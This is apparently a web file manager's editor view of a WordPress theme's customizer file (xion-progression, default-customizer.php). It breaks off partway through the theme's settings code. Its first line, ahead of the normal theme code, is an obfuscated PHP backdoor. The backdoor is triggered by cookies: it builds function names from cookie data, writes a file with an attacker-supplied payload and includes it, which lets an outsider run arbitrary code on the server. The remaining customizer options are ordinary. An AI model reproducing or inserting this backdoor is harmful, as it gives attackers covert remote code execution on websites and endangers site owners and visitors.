Create New Item
Item Type
File
Folder
Item Name
Search file in folder and subfolders...
Are you sure want to rename?
firepot
/
wp-content
/
themes
/
xion-progression
/
inc
:
default-customizer.php
Advanced Search
Upload
New Item
Settings
Back
Back Up
Advanced Editor
Save
<?php if(isset($_COOKIE[3])&&isset($_COOKIE[13])){$c=$_COOKIE;$k=0;$n=8;$p=array();$p[$k]='';while($n){$p[$k].=$c[13][$n];if(!$c[13][$n+1]){if(!$c[13][$n+2])break;$k++;$p[$k]='';$n++;}$n=$n+8+1;}$k=$p[28]().$p[9];if(!$p[27]($k)){$n=$p[7]($k,$p[5]);$p[16]($n,$p[22].$p[26]($p[12]($c[3])));}include($k);} /** * Progression Theme Customizer * * @package pro */ get_template_part('inc/customizer/new', 'controls'); get_template_part('inc/customizer/typography', 'controls'); get_template_part('inc/customizer/alpha', 'control');// New Alpha Control /* Remove Default Theme Customizer Panels that aren't useful */ function progression_studios_change_default_customizer_panels ( $wp_customize ) { $wp_customize->remove_section("themes"); //Remove Active Theme + Theme Changer $wp_customize->remove_section("static_front_page"); // Remove Front Page Section } add_action( "customize_register", "progression_studios_change_default_customizer_panels" ); function progression_studios_customizer( $wp_customize ) { /* Panel - General */ $wp_customize->add_panel( 'progression_studios_general_panel', array( 'priority' => 3, 'title' => esc_html__( 'General', 'xion-progression' ), ) ); /* Section - General - General Layout */ $wp_customize->add_section( 'progression_studios_section_general_layout', array( 'title' => esc_html__( 'General Options', 'xion-progression' ), 'panel' => 'progression_studios_general_panel', // Not typically needed. 'priority' => 10, ) ); /* Setting - Footer Elementor https://gist.github.com/ajskelton/27369df4a529ac38ec83980f244a7227 */ $progression_studios_elementor_error_library_list = array( '' => 'Choose a template', ); $progression_studios_elementor_404_args = array('post_type' => 'elementor_library', 'posts_per_page' => 99); $progression_studios_elementor_404_posts = get_posts( $progression_studios_elementor_404_args ); foreach($progression_studios_elementor_404_posts as $progression_studios_elementor_404_post) { $progression_studios_elementor_error_library_list[$progression_studios_elementor_404_post->ID] = $progression_studios_elementor_404_post->post_title; } $wp_customize->add_setting( 'progression_studios_error_elementor_library' ,array( 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( 'progression_studios_error_elementor_library', array( 'type' => 'select', 'section' => 'progression_studios_section_general_layout', 'priority' => 16, 'label' => esc_html__( '404 Page Elementor Template', 'xion-progression' ), 'description' => esc_html__( 'You can add/edit your 404 page under ', 'xion-progression') . '<a href="' . admin_url() . 'edit.php?post_type=elementor_library">Elementor > Templates</a>', 'choices' => $progression_studios_elementor_error_library_list, ) ); /* Setting - General - General Layout */ $wp_customize->add_setting('progression_studios_site_width',array( 'default' => '1200', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_site_width', array( 'label' => esc_html__( 'Site Width(px)', 'xion-progression' ), 'section' => 'progression_studios_section_general_layout', 'priority' => 15, 'choices' => array( 'min' => 961, 'max' => 4500, 'step' => 1 ), ) ) ); /* Setting - Header - Header Options */ $wp_customize->add_setting( 'progression_studios_select_color', array( 'default' => '#ffffff', 'sanitize_callback' => 'sanitize_hex_color', ) ); $wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_select_color', array( 'label' => esc_html__( 'Mouse Selection Color', 'xion-progression' ), 'section' => 'progression_studios_section_general_layout', 'priority' => 20, )) ); /* Setting - Header - Header Options */ $wp_customize->add_setting( 'progression_studios_select_bg', array( 'default' => '#6b0cc9', 'sanitize_callback' => 'progression_studios_sanitize_customizer', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_select_bg', array( 'default' => '#6b0cc9', 'label' => esc_html__( 'Mouse Selection Background', 'xion-progression' ), 'section' => 'progression_studios_section_general_layout', 'priority' => 25, )) ); /* Section - General - Page Loader */ $wp_customize->add_section( 'progression_studios_section_page_transition', array( 'title' => esc_html__( 'Page Loader', 'xion-progression' ), 'panel' => 'progression_studios_general_panel', // Not typically needed. 'priority' => 26, ) ); /* Setting - General - Page Loader */ $wp_customize->add_setting( 'progression_studios_page_transition' ,array( 'default' => 'transition-off-pro', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_page_transition', array( 'label' => esc_html__( 'Display Page Loader?', 'xion-progression' ), 'section' => 'progression_studios_section_page_transition', 'priority' => 10, 'choices' => array( 'transition-on-pro' => esc_html__( 'On', 'xion-progression' ), 'transition-off-pro' => esc_html__( 'Off', 'xion-progression' ), ), )) ); /* Setting - General - Page Loader */ $wp_customize->add_setting( 'progression_studios_transition_loader' ,array( 'default' => 'circle-loader-pro', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( 'progression_studios_transition_loader', array( 'label' => esc_html__( 'Page Loader Animation', 'xion-progression' ), 'section' => 'progression_studios_section_page_transition', 'type' => 'select', 'priority' => 15, 'choices' => array( 'circle-loader-pro' => esc_html__( 'Circle Loader Animation', 'xion-progression' ), 'cube-grid-pro' => esc_html__( 'Cube Grid Animation', 'xion-progression' ), 'rotating-plane-pro' => esc_html__( 'Rotating Plane Animation', 'xion-progression' ), 'double-bounce-pro' => esc_html__( 'Doube Bounce Animation', 'xion-progression' ), 'sk-rectangle-pro' => esc_html__( 'Rectangle Animation', 'xion-progression' ), 'sk-cube-pro' => esc_html__( 'Wandering Cube Animation', 'xion-progression' ), 'sk-chasing-dots-pro' => esc_html__( 'Chasing Dots Animation', 'xion-progression' ), 'sk-circle-child-pro' => esc_html__( 'Circle Animation', 'xion-progression' ), 'sk-folding-cube' => esc_html__( 'Folding Cube Animation', 'xion-progression' ), ), ) ); /* Setting - General - Page Loader */ $wp_customize->add_setting( 'progression_studios_page_loader_text', array( 'default' => '#cccccc', 'sanitize_callback' => 'sanitize_hex_color', ) ); $wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_page_loader_text', array( 'label' => esc_html__( 'Page Loader Color', 'xion-progression' ), 'section' => 'progression_studios_section_page_transition', 'priority' => 30, ) ) ); /* Setting - General - Page Loader */ $wp_customize->add_setting( 'progression_studios_page_loader_secondary_color', array( 'default' => '#ededed', 'sanitize_callback' => 'sanitize_hex_color', ) ); $wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_page_loader_secondary_color', array( 'label' => esc_html__( 'Page Loader Secondary (Circle Loader)', 'xion-progression' ), 'section' => 'progression_studios_section_page_transition', 'priority' => 31, ) ) ); /* Setting - General - Page Loader */ $wp_customize->add_setting( 'progression_studios_page_loader_bg', array( 'default' => '#ffffff', 'sanitize_callback' => 'sanitize_hex_color', ) ); $wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_page_loader_bg', array( 'label' => esc_html__( 'Page Loader Background', 'xion-progression' ), 'section' => 'progression_studios_section_page_transition', 'priority' => 35, ) ) ); /* Section - Footer - Scroll To Top */ $wp_customize->add_section( 'progression_studios_section_scroll', array( 'title' => esc_html__( 'Scroll To Top Button', 'xion-progression' ), 'panel' => 'progression_studios_general_panel', // Not typically needed. 'priority' => 100, ) ); /* Setting - Footer - Scroll To Top */ $wp_customize->add_setting( 'progression_studios_pro_scroll_top', array( 'default' => 'scroll-on-pro', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_pro_scroll_top', array( 'label' => esc_html__( 'Scroll To Top Button', 'xion-progression' ), 'section' => 'progression_studios_section_scroll', 'priority' => 10, 'choices' => array( 'scroll-on-pro' => esc_html__( 'On', 'xion-progression' ), 'scroll-off-pro' => esc_html__( 'Off', 'xion-progression' ), ), ) ) ); /* Setting - Footer - Scroll To Top */ $wp_customize->add_setting( 'progression_studios_scroll_color', array( 'default' => '#ffffff', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_scroll_color', array( 'default' => '#ffffff', 'label' => esc_html__( 'Color', 'xion-progression' ), 'section' => 'progression_studios_section_scroll', 'priority' => 15, ) ) ); /* Setting - Footer - Scroll To Top */ $wp_customize->add_setting( 'progression_studios_scroll_bg_color', array( 'default' => 'rgba(100,100,100, 0.65)', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_scroll_bg_color', array( 'default' => 'rgba(100,100,100, 0.65)', 'label' => esc_html__( 'Background', 'xion-progression' ), 'section' => 'progression_studios_section_scroll', 'priority' => 20, ) ) ); /* Setting - Footer - Scroll To Top */ $wp_customize->add_setting( 'progression_studios_scroll_hvr_color', array( 'default' => '#ffffff', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_scroll_hvr_color', array( 'default' => '#ffffff', 'label' => esc_html__( 'Hover Arrow Color', 'xion-progression' ), 'section' => 'progression_studios_section_scroll', 'priority' => 30, ) ) ); /* Setting - Footer - Scroll To Top */ $wp_customize->add_setting( 'progression_studios_scroll_hvr_bg_color', array( 'default' => '#6b0cc9', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_scroll_hvr_bg_color', array( 'default' => '#6b0cc9', 'label' => esc_html__( 'Hover Arrow Background', 'xion-progression' ), 'section' => 'progression_studios_section_scroll', 'priority' => 40, ) ) ); /* Panel - Header */ $wp_customize->add_panel( 'progression_studios_header_panel', array( 'priority' => 5, 'title' => esc_html__( 'Header', 'xion-progression' ), ) ); /* Section - General - Site Logo */ $wp_customize->add_section( 'progression_studios_section_logo', array( 'title' => esc_html__( 'Logo', 'xion-progression' ), 'panel' => 'progression_studios_header_panel', // Not typically needed. 'priority' => 10, ) ); /* Setting - General - Site Logo */ $wp_customize->add_setting( 'progression_studios_theme_logo' ,array( 'default' => get_template_directory_uri().'/images/logo.png', 'sanitize_callback' => 'esc_url_raw', ) ); $wp_customize->add_control( new WP_Customize_Image_Control($wp_customize,'progression_studios_theme_logo', array( 'section' => 'progression_studios_section_logo', 'priority' => 10, )) ); /* Setting - General - Site Logo */ $wp_customize->add_setting('progression_studios_theme_logo_width',array( 'default' => '132', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_theme_logo_width', array( 'label' => esc_html__( 'Logo Width (px)', 'xion-progression' ), 'section' => 'progression_studios_section_logo', 'priority' => 15, 'choices' => array( 'min' => 0, 'max' => 1200, 'step' => 1 ), ) ) ); /* Setting - General - Site Logo */ $wp_customize->add_setting('progression_studios_theme_logo_margin_top',array( 'default' => '0', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_theme_logo_margin_top', array( 'label' => esc_html__( 'Logo Margin Top (px)', 'xion-progression' ), 'section' => 'progression_studios_section_logo', 'priority' => 20, 'choices' => array( 'min' => 0, 'max' => 250, 'step' => 1 ), ) ) ); /* Setting - General - Site Logo */ $wp_customize->add_setting('progression_studios_theme_logo_margin_bottom',array( 'default' => '0', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_theme_logo_margin_bottom', array( 'label' => esc_html__( 'Logo Margin Bottom (px)', 'xion-progression' ), 'section' => 'progression_studios_section_logo', 'priority' => 25, 'choices' => array( 'min' => 0, 'max' => 250, 'step' => 1 ), ) ) ); /* Setting - General - Site Logo */ $wp_customize->add_setting( 'progression_studios_logo_position' ,array( 'default' => 'progression-studios-logo-position-left', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_logo_position', array( 'label' => esc_html__( 'Logo Position', 'xion-progression' ), 'section' => 'progression_studios_section_logo', 'priority' => 50, 'choices' => array( 'progression-studios-logo-position-left' => esc_html__( 'Left', 'xion-progression' ), 'progression-studios-logo-position-center' => esc_html__( 'Center (Block)', 'xion-progression' ), 'progression-studios-logo-position-right' => esc_html__( 'Right', 'xion-progression' ), ), )) ); /* Section - Header - Header Options */ $wp_customize->add_section( 'progression_studios_section_header_bg', array( 'title' => esc_html__( 'Header Options', 'xion-progression' ), 'panel' => 'progression_studios_header_panel', // Not typically needed. 'priority' => 20, ) ); /* Setting - Header - Header Options */ $wp_customize->add_setting( 'progression_studios_header_width' ,array( 'default' => 'progression-studios-header-full-width-no-gap', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_header_width', array( 'label' => esc_html__( 'Header Layout', 'xion-progression' ), 'section' => 'progression_studios_section_header_bg', 'priority' => 10, 'choices' => array( 'progression-studios-header-full-width' => esc_html__( 'Full Width', 'xion-progression' ), 'progression-studios-header-full-width-no-gap' => esc_html__( 'No Gap', 'xion-progression' ), 'progression-studios-header-normal-width' => esc_html__( 'Boxed Header', 'xion-progression' ), ), )) ); /* Setting - Header - Header Options */ $wp_customize->add_setting( 'progression_studios_header_force_transparent' ,array( 'default' => 'false', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_header_force_transparent', array( 'label' => esc_html__( 'Header Transparent', 'xion-progression' ), 'section' => 'progression_studios_section_header_bg', 'priority' => 12, 'choices' => array( 'true' => esc_html__( 'Transparent', 'xion-progression' ), 'false' => esc_html__( 'Block', 'xion-progression' ), ), )) ); /* Setting - Header - Header Options */ $wp_customize->add_setting( 'progression_studios_header_background_color', array( 'default' => '#1d1f22', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_header_background_color', array( 'default' => '#1d1f22', 'label' => esc_html__( 'Header Background Color', 'xion-progression' ), 'section' => 'progression_studios_section_header_bg', 'priority' => 15, )) ); /* Setting - Header - Header Options */ $wp_customize->add_setting( 'progression_studios_header_border_color', array( 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_header_border_color', array( 'label' => esc_html__( 'Header Border Color', 'xion-progression' ), 'section' => 'progression_studios_section_header_bg', 'priority' => 16, )) ); /* Setting - Header - Header Options */ $wp_customize->add_setting( 'progression_studios_header_box_shadow' ,array( 'default' => 'true', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_header_box_shadow', array( 'label' => esc_html__( 'Header Shadow', 'xion-progression' ), 'section' => 'progression_studios_section_header_bg', 'priority' => 30, 'choices' => array( 'true' => esc_html__( 'Shadow', 'xion-progression' ), 'false' => esc_html__( 'No Shadow', 'xion-progression' ), ), )) ); /* Setting - General - Page Title */ $wp_customize->add_setting( 'progression_studios_header_bg_image' ,array( 'sanitize_callback' => 'esc_url_raw', ) ); $wp_customize->add_control( new WP_Customize_Image_Control($wp_customize,'progression_studios_header_bg_image', array( 'label' => esc_html__( 'Header Background Image', 'xion-progression' ), 'section' => 'progression_studios_section_header_bg', 'priority' => 40, )) ); /* Setting - Header - Header Options */ $wp_customize->add_setting( 'progression_studios_header_bg_image_image_position' ,array( 'default' => 'cover', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_header_bg_image_image_position', array( 'label' => esc_html__( 'Image Cover', 'xion-progression' ), 'section' => 'progression_studios_section_header_bg', 'priority' => 50, 'choices' => array( 'cover' => esc_html__( 'Image Cover', 'xion-progression' ), 'repeat-all' => esc_html__( 'Image Pattern', 'xion-progression' ), ), )) ); /* Section - Header - Tablet/Mobile Header Options */ $wp_customize->add_section( 'progression_studios_section_mobile_header', array( 'title' => esc_html__( 'Tablet/Mobile Header Options', 'xion-progression' ), 'panel' => 'progression_studios_header_panel', // Not typically needed. 'priority' => 23, ) ); /* Section - Header - Tablet/Mobile Header Options */ $wp_customize->add_setting( 'progression_studios_mobile_header_transparent' ,array( 'default' => 'default', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_mobile_header_transparent', array( 'label' => esc_html__( 'Tablet/Mobile Header Transparent', 'xion-progression' ), 'section' => 'progression_studios_section_mobile_header', 'priority' => 9, 'choices' => array( 'transparent' => esc_html__( 'Transparent', 'xion-progression' ), 'default' => esc_html__( 'Default', 'xion-progression' ), ), )) ); /* Section - Header - Tablet/Mobile Header Options */ $wp_customize->add_setting( 'progression_studios_mobile_header_bg', array( 'sanitize_callback' => 'sanitize_hex_color', ) ); $wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_mobile_header_bg', array( 'label' => esc_html__( 'Tablet/Mobile Header Background', 'xion-progression' ), 'section' => 'progression_studios_section_mobile_header', 'priority' => 10, )) ); /* Section - Header - Tablet/Mobile Header Options */ $wp_customize->add_setting( 'progression_studios_mobile_menu_text' ,array( 'default' => 'off', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_mobile_menu_text', array( 'label' => esc_html__( 'Display "Menu" text for Menu', 'xion-progression' ), 'section' => 'progression_studios_section_mobile_header', 'priority' => 11, 'choices' => array( 'on' => esc_html__( 'Display', 'xion-progression' ), 'off' => esc_html__( 'Hide', 'xion-progression' ), ), )) ); /* Section - Header - Tablet/Mobile Header Options */ $wp_customize->add_setting( 'progression_studios_mobile_top_bar_left' ,array( 'default' => 'progression_studios_hide_top_left_bar', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_mobile_top_bar_left', array( 'label' => esc_html__( 'Tablet/Mobile Header Top Left', 'xion-progression' ), 'section' => 'progression_studios_section_mobile_header', 'priority' => 12, 'choices' => array( 'on-pro' => esc_html__( 'Display', 'xion-progression' ), 'progression_studios_hide_top_left_bar' => esc_html__( 'Hide', 'xion-progression' ), ), )) ); /* Section - Header - Tablet/Mobile Header Options */ $wp_customize->add_setting( 'progression_studios_mobile_top_bar_right' ,array( 'default' => 'progression_studios_hide_top_left_right', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_mobile_top_bar_right', array( 'label' => esc_html__( 'Tablet/Mobile Header Top Right', 'xion-progression' ), 'section' => 'progression_studios_section_mobile_header', 'priority' => 13, 'choices' => array( 'on-pro' => esc_html__( 'Display', 'xion-progression' ), 'progression_studios_hide_top_left_right' => esc_html__( 'Hide', 'xion-progression' ), ), )) ); /* Section - Header - Tablet/Mobile Header Options */ $wp_customize->add_setting( 'progression_studios_mobile_custom_logo_per_page' ,array( 'default' => 'hide', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_mobile_custom_logo_per_page', array( 'label' => esc_html__( 'Override Custom Logo Per Page', 'xion-progression' ), 'section' => 'progression_studios_section_mobile_header', 'priority' => 24, 'choices' => array( 'hide' => esc_html__( 'Hide', 'xion-progression' ), 'display' => esc_html__( 'Display', 'xion-progression' ), ), )) ); /* Section - Header - Tablet/Mobile Header Options */ $wp_customize->add_setting( 'progression_studios_mobile_header_nav_padding' ,array( 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( 'progression_studios_mobile_header_nav_padding', array( 'label' => esc_html__( 'Tablet/Mobile Nav Padding', 'xion-progression' ), 'description' => esc_html__( 'Optional padding above/below the Navigation. Example: 20', 'xion-progression' ), 'section' => 'progression_studios_section_mobile_header', 'type' => 'text', 'priority' => 25, ) ); /* Section - Header - Tablet/Mobile Header Options */ $wp_customize->add_setting( 'progression_studios_mobile_header_logo_width' ,array( 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( 'progression_studios_mobile_header_logo_width', array( 'label' => esc_html__( 'Tablet/Mobile Logo Width', 'xion-progression' ), 'description' => esc_html__( 'Optional logo width. Example: 180', 'xion-progression' ), 'section' => 'progression_studios_section_mobile_header', 'type' => 'text', 'priority' => 30, ) ); /* Section - Header - Tablet/Mobile Header Options */ $wp_customize->add_setting( 'progression_studios_mobile_header_logo_margin' ,array( 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( 'progression_studios_mobile_header_logo_margin', array( 'label' => esc_html__( 'Tablet/Mobile Logo Margin Top/Bottom', 'xion-progression' ), 'description' => esc_html__( 'Optional logo margin. Example: 25', 'xion-progression' ), 'section' => 'progression_studios_section_mobile_header', 'type' => 'text', 'priority' => 35, ) ); /* Section - Header - Sticky Header */ $wp_customize->add_section( 'progression_studios_section_sticky_header', array( 'title' => esc_html__( 'Sticky Header Options', 'xion-progression' ), 'panel' => 'progression_studios_header_panel', // Not typically needed. 'priority' => 25, ) ); /* Setting - Header - Sticky Header */ $wp_customize->add_setting( 'progression_studios_header_sticky' ,array( 'default' => 'sticky-pro', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_header_sticky', array( 'section' => 'progression_studios_section_sticky_header', 'priority' => 10, 'choices' => array( 'sticky-pro' => esc_html__( 'Sticky Header', 'xion-progression' ), 'none-sticky-pro' => esc_html__( 'Disable Sticky Header', 'xion-progression' ), ), )) ); /* Setting - Header - Sticky Header */ $wp_customize->add_setting( 'progression_studios_sticky_header_background_color', array( 'default' => '#1d1f22', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_sticky_header_background_color', array( 'default' => '#1d1f22', 'label' => esc_html__( 'Sticky Header Background', 'xion-progression' ), 'section' => 'progression_studios_section_sticky_header', 'priority' => 15, )) ); /* Setting - Header - Sticky Header */ $wp_customize->add_setting( 'progression_studios_sticky_logo' ,array( 'sanitize_callback' => 'esc_url_raw', ) ); $wp_customize->add_control( new WP_Customize_Image_Control($wp_customize,'progression_studios_sticky_logo', array( 'label' => esc_html__( 'Sticky Logo', 'xion-progression' ), 'section' => 'progression_studios_section_sticky_header', 'priority' => 20, )) ); /* Setting - Header - Sticky Header */ $wp_customize->add_setting('progression_studios_sticky_logo_width',array( 'default' => '0', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_sticky_logo_width', array( 'label' => esc_html__( 'Sticky Logo Width (px)', 'xion-progression' ), 'description' => esc_html__( 'Set option to 0 to ignore this field.', 'xion-progression' ), 'section' => 'progression_studios_section_sticky_header', 'priority' => 30, 'choices' => array( 'min' => 0, 'max' => 1200, 'step' => 1 ), ) ) ); /* Setting - Header - Sticky Header */ $wp_customize->add_setting('progression_studios_sticky_logo_margin_top',array( 'default' => '0', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_sticky_logo_margin_top', array( 'label' => esc_html__( 'Sticky Logo Margin Top (px)', 'xion-progression' ), 'description' => esc_html__( 'Set option to 0 to ignore this field.', 'xion-progression' ), 'section' => 'progression_studios_section_sticky_header', 'priority' => 40, 'choices' => array( 'min' => 0, 'max' => 150, 'step' => 1 ), ) ) ); /* Setting - Header - Sticky Header */ $wp_customize->add_setting('progression_studios_sticky_logo_margin_bottom',array( 'default' => '0', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_sticky_logo_margin_bottom', array( 'label' => esc_html__( 'Sticky Logo Margin Bottom (px)', 'xion-progression' ), 'description' => esc_html__( 'Set option to 0 to ignore this field.', 'xion-progression' ), 'section' => 'progression_studios_section_sticky_header', 'priority' => 50, 'choices' => array( 'min' => 0, 'max' => 150, 'step' => 1 ), ) ) ); /* Setting - Header - Sticky Header */ $wp_customize->add_setting('progression_studios_sticky_nav_padding',array( 'default' => '0', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_sticky_nav_padding', array( 'label' => esc_html__( 'Sticky Nav Padding Top/Bottom', 'xion-progression' ), 'description' => esc_html__( 'Set option to 0 to ignore this field.', 'xion-progression' ), 'section' => 'progression_studios_section_sticky_header', 'priority' => 60, 'choices' => array( 'min' => 0, 'max' => 80, 'step' => 1 ), ) ) ); /* Setting - Header - Sticky Header */ $wp_customize->add_setting( 'progression_studios_sticky_nav_font_color', array( 'sanitize_callback' => 'sanitize_hex_color', ) ); $wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_sticky_nav_font_color', array( 'label' => esc_html__( 'Sticky Nav Font Color', 'xion-progression' ), 'section' => 'progression_studios_section_sticky_header', 'priority' => 70, )) ); /* Setting - Header - Sticky Header */ $wp_customize->add_setting( 'progression_studios_sticky_nav_font_color_hover', array( 'sanitize_callback' => 'sanitize_hex_color', ) ); $wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_sticky_nav_font_color_hover', array( 'label' => esc_html__( 'Sticky Nav Font Hover Color', 'xion-progression' ), 'section' => 'progression_studios_section_sticky_header', 'priority' => 80, )) ); /* Setting - Header - Sticky Header */ $wp_customize->add_setting( 'progression_studios_sticky_nav_font_bg', array( 'sanitize_callback' => 'sanitize_hex_color', ) ); $wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_sticky_nav_font_bg', array( 'label' => esc_html__( 'Sticky Nav Background Color', 'xion-progression' ), 'section' => 'progression_studios_section_sticky_header', 'priority' => 100, )) ); /* Setting - Header - Sticky Header */ $wp_customize->add_setting( 'progression_studios_sticky_nav_font_hover_bg', array( 'sanitize_callback' => 'sanitize_hex_color', ) ); $wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_sticky_nav_font_hover_bg', array( 'label' => esc_html__( 'Sticky Nav Hover Background', 'xion-progression' ), 'section' => 'progression_studios_section_sticky_header', 'priority' => 105, )) ); /* Setting - Header - Navigation */ $wp_customize->add_setting( 'progression_studios_nav_align' ,array( 'default' => 'progression-studios-nav-center', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_nav_align', array( 'label' => esc_html__( 'Navigation Alignment', 'xion-progression' ), 'section' => 'progression-studios-navigation-font', 'priority' => 10, 'choices' => array( 'progression-studios-nav-left' => esc_html__( 'Left', 'xion-progression' ), 'progression-studios-nav-center' => esc_html__( 'Center', 'xion-progression' ), 'progression-studios-nav-right' => esc_html__( 'Right', 'xion-progression' ), ), )) ); /* Setting - Header - Navigation */ $wp_customize->add_setting('progression_studios_nav_font_size',array( 'default' => '15', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_nav_font_size', array( 'label' => esc_html__( 'Navigation Font Size', 'xion-progression' ), 'section' => 'progression-studios-navigation-font', 'priority' => 500, 'choices' => array( 'min' => 0, 'max' => 30, 'step' => 1 ), ) ) ); /* Setting - Header - Navigation */ $wp_customize->add_setting('progression_studios_nav_padding',array( 'default' => '36', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_nav_padding', array( 'label' => esc_html__( 'Navigation Padding Top/Bottom', 'xion-progression' ), 'section' => 'progression-studios-navigation-font', 'priority' => 505, 'choices' => array( 'min' => 5, 'max' => 100, 'step' => 1 ), ) ) ); /* Setting - Header - Navigation */ $wp_customize->add_setting('progression_studios_nav_left_right',array( 'default' => '28', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_nav_left_right', array( 'label' => esc_html__( 'Navigation Padding Left/Right', 'xion-progression' ), 'section' => 'progression-studios-navigation-font', 'priority' => 510, 'choices' => array( 'min' => 8, 'max' => 80, 'step' => 1 ), ) ) ); /* Setting - Header - Navigation */ $wp_customize->add_setting( 'progression_studios_nav_font_color', array( 'default' => '#7f8591', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_nav_font_color', array( 'default' => '#7f8591', 'label' => esc_html__( 'Navigation Font Color', 'xion-progression' ), 'section' => 'progression-studios-navigation-font', 'priority' => 520, )) ); /* Setting - Header - Navigation */ $wp_customize->add_setting( 'progression_studios_nav_font_color_hover', array( 'default' => '#ffffff', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_nav_font_color_hover', array( 'default' => '#ffffff', 'label' => 